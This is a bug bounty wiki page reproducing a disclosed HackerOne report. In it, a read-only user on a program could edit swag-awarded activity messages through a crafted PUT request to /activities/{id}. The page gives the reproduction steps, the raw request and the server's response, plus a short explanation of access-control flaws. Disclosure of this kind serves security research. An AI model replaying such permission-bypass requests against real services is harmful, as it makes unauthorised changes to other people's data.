User with Read-Only permissions can edit the SwagAwarded Activities on Bug Reports
A user with read-only permissions could edit swag-awarded activity messages on bug reports by sending a crafted PUT request. This allowed unauthorised modification of activity content that should have been restricted.
Originally disclosed on HackerOne
- Triaged in 4 hours
- Fixed in 31 hours
- Disclosed after 36 days
Poc :
1.Login into Program(testbug) as owner account 2.Create a new group with "Reward" Permission . Add a user to that group 3.Create a new group with "Read-only" Permission . Add a user to that group 3.Login into user account Report a bug to Program (testbug) 4."Reward" Permission User awarded a swag with some body of contents 5."Read-only" Permission user able to edit the SwagAwarded Activities on Bug Reports . by following Request
PUT /activities/812406 HTTP/1.1 <redacted> Content-Type: application/json Accept: application/json, text/javascript, /; q=0.01 X-Requested-With: XMLHttpRequest <redacted> Accept-Language: en-US Accept-Encoding: gzip, deflate <redacted>
{"id":812406,"is_internal":false,"editable":true,"type":"Activities::SwagAwarded","message":"pieeeeeee lololololololo","markdown_message":"<p>pieeeeeee lololololololo</p>\n","automated_response":false,"created_at":"2016-02-25T11:10:47.137Z","updated_at":"2016-02-25T11:15:18.087Z","actor":{"url":"/s0uq","name":"h1","ibb":false,"profile_picture_urls":{"medium":"/assets/global-elements/add-team-72fa1f23b08270406d1149d06f6968ed.png"}},"reporter":{"username":"demo-researcher","url":"/demo-researcher"}}
Response :
HTTP/1.1 200 OK Server: cloudflare-nginx Date: Thu, 25 Feb 2016 11:16:41 GMT Content-Type: application/json; charset=utf-8 Connection: close Status: 200 OK <redacted>
{"id":812406,"is_internal":false,"editable":true,"type":"Activities::SwagAwarded","message":"lololololololo","markdown_message":"\u003cp\u003e lololololololo\u003c/p\u003e\n","automated_response":false,"created_at":"2016-02-25T11:10:47.137Z","updated_at":"2016-02-25T11:15:18.087Z","actor":{"url":"/s0uq","name":"h1","ibb":false,"profile_picture_urls":{"medium":"/assets/global-elements/add-team-72fa1f23b08270406d1149d06f6968ed.png"}}}
Regards, techguynoob
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
What the attacker needed
A program with groups and permissions; a read-only user account; a swag-awarded activity to edit
How it was found
- Log in as the program owner and create a group with Reward permission, adding a user.
- Create a group with Read-only permission, adding another user.
- Log in as a normal user and report a bug to the program.
- As the Reward user, award swag with some message content.
- As the Read-only user, send a PUT request to edit the swag-awarded activity.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A read-only user could change a swag-awarded message that should have been restricted, by sending a PUT request.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.